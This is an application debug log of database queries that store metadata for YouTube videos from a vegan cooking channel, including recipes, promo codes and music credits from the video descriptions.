MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F\n\n0:00 - Intro\n0:28 - Unboxing the uHarvest \n2:34 - Assembling the uHarvest\n6:35 - How to Use the uHarvest", "uHarvest Unboxing, Set Up and Review", "47c496fc-5dc7-42ae-8e9c-89491a0f996c", 1, [], false, "qEREjED-MZY", "https://www.youtube.com/watch?v=qEREjED-MZY", 326, "/downloads/downloads/alec/Steamy Vegan/2023-02-02 uHarvest Unboxing, Set Up and Review/uHarvest Unboxing, Set Up and Review [qEREjED-MZY].NA", false, false, false, 1, ~U[2023-02-02 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video we'll show you our iHarvest unboxing, set up and quick review of what we think so far! If you've been looking to get yourself an easy-to-use indoor garden, you should definitely consider growing with a uHarvest, the latest release from Indoor Garden Works. 🌱 They're the easiest way to grow tons of fresh, organic and pesticide-free herbs, veggies and fruits. And you can practically grow whatever you want. \n----------------------------------------------------------------------------------------------------------------------------------------------------------\nA BIG thank you to Indoor Garden Works for gifting us with our uHarvest to try out! We have been loyal customers of IGWorks since they launched their first product, the iHarvest, a few years ago. We bought our own iHarvest and are absolutely in LOVE with it, and couldn't be more excited to continue growing indoors with their latest innovation. \nHead to www.igworks.com to see what it's all about. 😊\n----------------------------------------------------------------------------------------------------------------------------------------------------------\nLet us know what you think in the comments! Are you going to 'pluck' a uHarvest for yourself?\n\nWe also have the big sister indoor garden to the uHarvest, the iHarvest! It's quite a lot bigger and can grow more than double the produce. If you want to check out our in-depth review on it, click the link below! ⬇️\n\niHarvest In-Depth Review: \u00A0\u00A0\u00A0•\u00A0iHARVEST\u00A0IN-DEPTH\u00A0REVIEW:\u00A0Our\u00A0Honest\u00A0Revie...\u00A0\u00A0\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Juju B. Goode - Day 9. Watermelon Arcade - https://thmatc.co/?l=309E581F\n\n0:00 - Intro\n0:28 - Unboxing the uHarvest \n2:34 - Assembling the uHarvest\n6:35 - How to Use the uHarvest", "uHarvest Unboxing, Set Up and Review", 1, nil, false, "qEREjED-MZY", "https://www.youtube.com/watch?v=qEREjED-MZY", "/downloads/downloads/alec/Steamy Vegan/2023-02-02 uHarvest Unboxing, Set Up and Review/uHarvest Unboxing, Set Up and Review [qEREjED-MZY].NA", false, ~U[2023-02-02 00:00:00Z]] 20:31:08.454 [debug] QUERY OK source="sources" db=1.3ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.456 [debug] QUERY OK source="media_items" db=2.1ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-29 00:00:00Z], 1] 20:31:08.459 [debug] QUERY OK source="media_items" db=1.8ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan grocery haul was a lot of fun! In this video we stocked up on whole foods plant-based foods for the week. From fruits and veggies to tofu and tortilla chips, we had a great time exploring the vegan options Real Canadian Superstore and Bulk Barn.\n\nI hope you enjoy this vegan grocery haul! I love eating a whole foods plant based diet 'cause it makes me feel GOOD and fuelled with nutrition! If you've been curious as to what a vegan couple buys at the grocery store I hope this video has been helpful for you! \n\nWatch my other grocery hauls ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Chinsaku - Esta Luna - https://thmatc.co/?l=F3D01724\nMusic by Blue Sirens - Taro - https://thmatc.co/?l=CC5DF357", "Vegan Grocery Haul / Whole Foods Plant Based 🌱", "5657275d-dd51-49cf-9f9d-d085dd640d50", 1, [], false, "AmQKjjWRpoM", "https://www.youtube.com/watch?v=AmQKjjWRpoM", 327, "/downloads/downloads/alec/Steamy Vegan/2023-01-29 Vegan Grocery Haul ⧸ Whole Foods Plant Based 🌱/Vegan Grocery Haul ⧸ Whole Foods Plant Based 🌱 [AmQKjjWRpoM].NA", false, false, false, 1, ~U[2023-01-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This vegan grocery haul was a lot of fun! In this video we stocked up on whole foods plant-based foods for the week. From fruits and veggies to tofu and tortilla chips, we had a great time exploring the vegan options Real Canadian Superstore and Bulk Barn.\n\nI hope you enjoy this vegan grocery haul! I love eating a whole foods plant based diet 'cause it makes me feel GOOD and fuelled with nutrition! If you've been curious as to what a vegan couple buys at the grocery store I hope this video has been helpful for you! \n\nWatch my other grocery hauls ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by Chinsaku - Esta Luna - https://thmatc.co/?l=F3D01724\nMusic by Blue Sirens - Taro - https://thmatc.co/?l=CC5DF357", "Vegan Grocery Haul / Whole Foods Plant Based 🌱", 1, nil, false, "AmQKjjWRpoM", "https://www.youtube.com/watch?v=AmQKjjWRpoM", "/downloads/downloads/alec/Steamy Vegan/2023-01-29 Vegan Grocery Haul ⧸ Whole Foods Plant Based 🌱/Vegan Grocery Haul ⧸ Whole Foods Plant Based 🌱 [AmQKjjWRpoM].NA", false, ~U[2023-01-29 00:00:00Z]] 20:31:08.460 [debug] QUERY OK source="sources" db=0.9ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.462 [debug] QUERY OK source="media_items" db=2.1ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-26 00:00:00Z], 1] 20:31:08.465 [debug] QUERY OK source="media_items" db=2.5ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for a vegan meal prep recipe that tastes great? Sweet Potato Toast is the perfect recipe for you! In this video, we'll show you how to make sweet potato toast in three different ways, and you can even make it as a vegan meal prep recipe!\n\nIf you're looking for a delicious and easy vegan meal prep recipe, then you need to try Sweet Potato Toast! This recipe is perfect for anyone, whether you're a beginner or a culinary expert. With this recipe, you'll be able to cook amazing vegan meals in no time at all!\n\nWatch this 'What I Eat in a Day' video for more sweet potato inspo! \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0//\u00A0Weight\u00A0Loss-Friend...\u00A0\u00A0\n\nHOW I MAKE SWEET POTATO TOAST\nThere’s a few ways to make sweet potato toast: 1) you can pre-bake a a few sheet pans worth of sliced sweet potatoes to use for quick meals 2) you can pre-slice your sweet potatoes and simply pop them into your toaster or air fryer for 15 minutes for when you have a bit more time to make a meal. My preferred way to make them is popping a few sweet potato slices in my toaster oven until they’re softened and golden brown — this way they get nice and crispy edges and are less likely to get soggy on a sheet pan.\n\nHOW TO BATCH COOK SWEET POTATO TOAST SLICES\n1. Preheat your oven to 425°F\n2. Wash and dry 1 large or 2 medium sweet potatoes. Slice about 1/3” slices diagonally to get the largest amount of surface area.\n3. Line a sheet pan or two with parchment paper and arrange the slices flat on the pan. With a fork, poke several holes on both sides of each slice to allow steam to escape while baking\n4. Bake the sweet potatoes for 30 minutes, or until the edges and tops begin to turn golden. Remove from the oven and allow to cool slightly before topping/serving.\n\nCHICKPEA AVOCADO MASH\n1 can chickpeas, drained and rinsed\n1 small avocado\nJuice of 1/2 a lemon\n3 tbsp nutritional yeast\n3/4 tsp garlic powder\n1 tsp paprika (sweet, hot, or smoked)\nSalt and pepper to taste\n\n1. In a large bowl, add the rinsed chickpeas and mash until desired texture with a fork or potato masher.\n2. Add the avocado and continue mashing until the two are combined.\n3. Add all remaining ingredients to the bowl and mix well with a fork until it’s a uniform mash. Adjust seasonings to taste.\n4. Add a few dollops of the mash onto your sweet potato toast, top with sliced tomato and salt and pepper and enjoy!\n\nNUT BUTTER & BANANA\nNut or seed butter of choice\n1 tbsp hemp hearts\n1 tbsp shredded coconut\n1 banana, sliced\n1/2 tsp cinnamon\n\n1. Spread your nut or seed butter on the sweet potato toast, then sprinkle the hemp hearts, coconut, and cinnamon and top with sliced banana. Enjoy!\n\nZESTY BLACK BEAN SPREAD/DIP\n1 can black beans, drained and rinsed\n1 handful cilantro/coriander\n3 tbsp tahini\n2 cloves garlic, coarsely chopped\nJuice of 1 lime\n1 tsp ground cumin\n1 tsp paprika (sweet, hot, or smoked)\n\n1. Into the bowl of a food processor, add all the ingredients, plus 1 to 2 tbsp water. \n2. Seal the lid and process on high, stopping halfway to scrape down the edges of the bowl. Blend until thick and spreadable. If the mix is too thick and won’t blend, add 1 tbsp of water at a time until blending smoothly.\n3. Spread on your sweet potato toast slices, top with fresh avocado and/or tomato slices and sautéed red onion, and enjoy!\n\nIf you enjoyed this video, please hit that LIKE button and SUBSCRIBE to this channel for more content just like this! ✨🙏🏻\n------------------------------------------------------------------------------------------------------------------\nPROMO CODES\n⭐️ Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n⭐️ \n------------------------------------------------------------------------------------------------------------------\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @St" <> ..., "Sweet Potato Toast 3 Ways / Vegan Meal Prep", "3cbc9f6a-8cf9-4120-9422-9de77f6b8345", 1, [], false, "_IS3CDabzNY", "https://www.youtube.com/watch?v=_IS3CDabzNY", 328, "/downloads/downloads/alec/Steamy Vegan/2023-01-26 Sweet Potato Toast 3 Ways ⧸ Vegan Meal Prep/Sweet Potato Toast 3 Ways ⧸ Vegan Meal Prep [_IS3CDabzNY].NA", false, false, false, 1, ~U[2023-01-26 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Looking for a vegan meal prep recipe that tastes great? Sweet Potato Toast is the perfect recipe for you! In this video, we'll show you how to make sweet potato toast in three different ways, and you can even make it as a vegan meal prep recipe!\n\nIf you're looking for a delicious and easy vegan meal prep recipe, then you need to try Sweet Potato Toast! This recipe is perfect for anyone, whether you're a beginner or a culinary expert. With this recipe, you'll be able to cook amazing vegan meals in no time at all!\n\nWatch this 'What I Eat in a Day' video for more sweet potato inspo! \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Week\u00A0//\u00A0Weight\u00A0Loss-Friend...\u00A0\u00A0\n\nHOW I MAKE SWEET POTATO TOAST\nThere’s a few ways to make sweet potato toast: 1) you can pre-bake a a few sheet pans worth of sliced sweet potatoes to use for quick meals 2) you can pre-slice your sweet potatoes and simply pop them into your toaster or air fryer for 15 minutes for when you have a bit more time to make a meal. My preferred way to make them is popping a few sweet potato slices in my toaster oven until they’re softened and golden brown — this way they get nice and crispy edges and are less likely to get soggy on a sheet pan.\n\nHOW TO BATCH COOK SWEET POTATO TOAST SLICES\n1. Preheat your oven to 425°F\n2. Wash and dry 1 large or 2 medium sweet potatoes. Slice about 1/3” slices diagonally to get the largest amount of surface area.\n3. Line a sheet pan or two with parchment paper and arrange the slices flat on the pan. With a fork, poke several holes on both sides of each slice to allow steam to escape while baking\n4. Bake the sweet potatoes for 30 minutes, or until the edges and tops begin to turn golden. Remove from the oven and allow to cool slightly before topping/serving.\n\nCHICKPEA AVOCADO MASH\n1 can chickpeas, drained and rinsed\n1 small avocado\nJuice of 1/2 a lemon\n3 tbsp nutritional yeast\n3/4 tsp garlic powder\n1 tsp paprika (sweet, hot, or smoked)\nSalt and pepper to taste\n\n1. In a large bowl, add the rinsed chickpeas and mash until desired texture with a fork or potato masher.\n2. Add the avocado and continue mashing until the two are combined.\n3. Add all remaining ingredients to the bowl and mix well with a fork until it’s a uniform mash. Adjust seasonings to taste.\n4. Add a few dollops of the mash onto your sweet potato toast, top with sliced tomato and salt and pepper and enjoy!\n\nNUT BUTTER & BANANA\nNut or seed butter of choice\n1 tbsp hemp hearts\n1 tbsp shredded coconut\n1 banana, sliced\n1/2 tsp cinnamon\n\n1. Spread your nu (truncated) 20:31:08.467 [debug] QUERY OK source="sources" db=1.0ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.469 [debug] QUERY OK source="media_items" db=2.1ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-21 00:00:00Z], 1] 20:31:08.472 [debug] QUERY OK source="media_items" db=2.1ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Take a peek at what I eat in a day as a vegan. Just realistic vegan meals that keep me full, fuelled and feeling good. On this day I was very tired because I has just got Covid (unbeknownst to me at the time! 🤦🏼\u200D♀️) so I was happy to make the most of leftovers! \n\nTake a peek at what I eat in a day as a vegan. Just realistic vegan meals that keep me full, fuelled and feeling good. On this day I was very tired because I has just got Covid (unbeknownst to me at the time! 🤦🏼\u200D♀️) so I was happy to make the most of leftovers! \n\nBUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nPROTEIN ENERGY BALLS: \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\n\nBREAKFAST 🥑\nAvocado Chickpea Mash on Yam Toast\n1 small avocado\n1/2 can chickpeas, drained and rinsed\njuice of 1/2 lemon\n2 tbsp hemp hearts\npinch of kosher salt\npepper to taste\npaprika to taste\n1 handful fresh basil, chopped\nherb/seasoning blend to taste\n1/2 large tomato, sliced\n4 yam slices, cut diagonally, approx 1/4\" thick or more\n\n1. Toast the yam slices in a toaster oven on the highest 'toast' setting two to three times, until they become browned and a little firmer than fork-tender (could also air-fry or put in conventional toaster)\n2. While yams toast, add the chickpeas to a bowl and mash with a fork until desired texture -- add in the avocado and continue mashing until well-combined\n3. Add the lemon juice, and all remaining herbs and seasonings and continue mixing with a fork until it's combined.\n4. Remove yams from toaster, spread avo-chickpea mash on top, add tomato and a pinch of salt and voila! Enjoy 😁\n\nLUNCH \nButter Chickpeas with extra veggies and rice -- see blog post for full recipe! ⬇️\nhttps://steamyvegankitchen.com/butter...\n\nDINNER\nMore leftover butter chickpeas and rice with side salad and CASHEW CURRY SAUCE ⬇️\n1/2 cup soaked cashews\n1 tbsp nutritional yeast\n1 tbsp dijon mustard\n1 tbsp soy sauce\n1 tsp curry powder\n1 tbsp apple cider vinegar\n1/2 cup canned coconut cream liquid (the clear liquid in the bottom beneath the thick cream) ⭐️ could also use any unsweetened nondairy milk\n\nAdd all ingredients to a high-speed blender and blend on high for 60 seconds until completely smooth. So delicious you guys!\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan+ #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\nMusic by HONÜ - Rainbow Falls - https://thmatc.co/?l=0DDBB098\nMusic by HONÜ - Hilo - https://thmatc.co/?l=8988F196\nMusic by Chris J Clarke - Cheesekop Jam - https://thmatc.co/?l=188A9311\n\nIntro - 0:00\nbreakfast - avo chickpea mash on yam toast - 0:40\nhigh protein vegan energy balls - 4:38\nlunch - butter chickpeas & basmati rice - 5:20\ndinner - leftover butter chickpeas, rice & cashew curry salad - 8:52", "*Realistic* WHAT I EAT IN A DAY / high-protein vegan meals / oil-free, sugar-free", "72f3c588-50da-48c4-b3a1-215563f443e1", 1, [], false, "2Dg_iNep62A", "https://www.youtube.com/watch?v=2Dg_iNep62A", 329, "/downloads/downloads/alec/Steamy Vegan/2023-01-21 *Realistic* WHAT I EAT IN A DAY ⧸ high-protein vegan meals ⧸ oil-free, sugar-free/*Realistic* WHAT I EAT IN A DAY ⧸ high-protein vegan meals ⧸ oil-free, sugar-free [2Dg_iNep62A].NA", false, false, false, 1, ~U[2023-01-21 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Take a peek at what I eat in a day as a vegan. Just realistic vegan meals that keep me full, fuelled and feeling good. On this day I was very tired because I has just got Covid (unbeknownst to me at the time! 🤦🏼\u200D♀️) so I was happy to make the most of leftovers! \n\nTake a peek at what I eat in a day as a vegan. Just realistic vegan meals that keep me full, fuelled and feeling good. On this day I was very tired because I has just got Covid (unbeknownst to me at the time! 🤦🏼\u200D♀️) so I was happy to make the most of leftovers! \n\nBUTTER CHICKPEAS: \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nPROTEIN ENERGY BALLS: \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\n\nBREAKFAST 🥑\nAvocado Chickpea Mash on Yam Toast\n1 small avocado\n1/2 can chickpeas, drained and rinsed\njuice of 1/2 lemon\n2 tbsp hemp hearts\npinch of kosher salt\npepper to taste\npaprika to taste\n1 handful fresh basil, chopped\nherb/seasoning blend to taste\n1/2 large tomato, sliced\n4 yam slices, cut diagonally, approx 1/4\" thick or more\n\n1. Toast the yam slices in a toaster oven on the highest 'toast' setting two to three times, until they become browned and a little firmer than fork-tender (could also air-fry or put in conventional toaster)\n2. While yams toast, add the chickpeas to a bowl and mash with a fork until desired texture -- add in the avocado and continue mashing until well-combined\n3. Add the lemon juice, and all remaining herbs and seasonings and continue mixing with a fork until it's combined.\n4. Remove yams from toaster, spread avo-chickpea mash on top, add tomato and a pinch of salt and voila! Enjoy 😁\n\nLUNCH \nButter Chickpeas with extra veggies and rice -- see blog post for full recipe! ⬇️\nhttps://steamyvegankitchen.com/butter...\n\nDINNER\nMore leftover butter chickpeas and rice with side salad and CASHEW CURRY SAUCE ⬇️\n1/2 cup soaked cashews\n1 tbsp nutritional yeast\n1 tbsp dijon mustard\n1 tbsp soy sauce\n1 tsp curry powder\n1 tbsp apple cider vinegar\n1/2 cup canned coconut cream liquid (the clear liquid in the bottom beneath the thick cream) ⭐️ could also use any unsweetened nondairy milk\n\nAdd all ingredients to a high-speed blender and blend on high for 60 seconds until completely smooth. So delicious you guys!\n\nIf you mad (truncated) 20:31:08.473 [debug] QUERY OK source="sources" db=0.5ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.475 [debug] QUERY OK source="media_items" db=1.7ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-14 00:00:00Z], 1] 20:31:08.478 [debug] QUERY OK source="media_items" db=1.4ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re looking for a natural, healthy, and whole foods alternative to sugar, I gotchu covered! In this video we are going to make Date Paste and Date Syrup, a couple great natural sweeteners, especially if you’re wanting to reduce your intake of added processed sugars. Date Paste is great to use in many kinds of baked goods as its super sweet and slightly caramel-like in flavour, plus it’s quite sticky which makes it a good binder. Date Syrup on the other hand is great as a liquid sweetener for your morning coffee or tea, and to add to sauces. \n\nFULL RECIPES ON MY BLOG: https://steamyvegan.com/date-syrup-da...\n\nHealth Benefits of dates\n1. Good for heart health as it may help regulate blood pressure\n2. Good for your eyes — high in Vitamin A (beta carotene) which is essential for overall eye health\n3. High in fibre which can help decrease cholesterol and high blood pressure, as well as blood sugar control. Have a low glycemic index.\n4. Great source of natural sugar, makes for great healthy energy boosting snacking. A much better option than reaching for candy when you want something sweet as the fibre in them will keep you fuller for longer \n5. Packed full of vitamins and minerals — potassium, manganese, copper, iron, vitamin B6\n\n\nHOW TO USE DATE SYRUP -- use as a liquid sweetener for coffee, tea, smoothies and cooking sauces. Great in baking, too!\nHOW TO USE DATE PASTE -- add to oatmeals, smoothies, baked goods (dough, batters) or simply use as a delicious sweet spread!\n\n\nWHAT I EAT AS A VEGAN PLAYLIST! ⬇️\n\u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nREVIEWS AND TASTE TESTS PLAYLIST! ⬇️\n\u00A0\u00A0\u00A0•\u00A0REVIEWS\u00A0AND\u00A0TASTE\u00A0TESTS\u00A0🤔\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only 